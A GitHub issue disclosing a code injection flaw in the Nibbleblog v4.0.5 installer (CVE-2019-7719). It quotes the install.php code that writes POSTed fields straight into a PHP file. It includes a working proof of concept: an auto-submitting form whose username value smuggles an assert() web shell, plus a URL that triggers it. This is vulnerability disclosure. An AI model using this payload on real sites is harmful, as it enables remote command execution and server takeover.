New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

one can insert malicious code in the installation process to get a web shell #138

Open
jadacheng opened this Issue Jan 28, 2019 · 1 comment

Comments

Projects
None yet
2 participants
@jadacheng
Copy link

jadacheng commented Jan 28, 2019

In the CMS installation process, the configuration file filtering is not rigorous, you can insert malicious code in the installation process to execute arbitrary commands, and even get Webshell
Source:
./install.php:272-275

	$text = '<?php $_USER[0]["uid"] = "0"; $_USER[0]["username"] = "'.$_POST['username'].'"; $_USER[0]["password"] = "'.$new_hash.'"; $_USER[0]["salt"] = "'.$new_salt.'"; $_USER[0]["email"] = "'.$_POST['email'].'"; ?>';
	$file = fopen(FILE_SHADOW, 'w');
	fputs($file, $text);
	fclose($file);

The content of the post is written to the file directly

POC:

<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function hack()
{
var fields;

fields += "<input type='hidden' name='language' value='en_US' />";
fields += "<input type='hidden' name='name' value='test' />";  
fields += "<input type='hidden' name='slogan' value='test' />";  
fields += "<input type='hidden' name='username' value='\";assert($_REQUEST[\"w\"]);//'/>";  
fields += "<input type='hidden' name='password' value='admin' />";  
fields += "<input type='hidden' name='email' value='admin@admin.com' />";  
fields += "<input type='hidden' name='url' value='' />";   

var url = "http://localhost/nibbleblog-v4.0.5/install.php";
post(url,fields);
}
window.onload = function() { hack();}
</script>
</body></html>

1548641201 1

exploit:
http://127.0.0.1/nibbleblog-v4.0.5/content/private/shadow.php?w=phpinfo();
1548641271 1

@fgeek

This comment has been minimized.

Copy link

fgeek commented Feb 14, 2019

CVE-2019-7719 has been assigned for this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment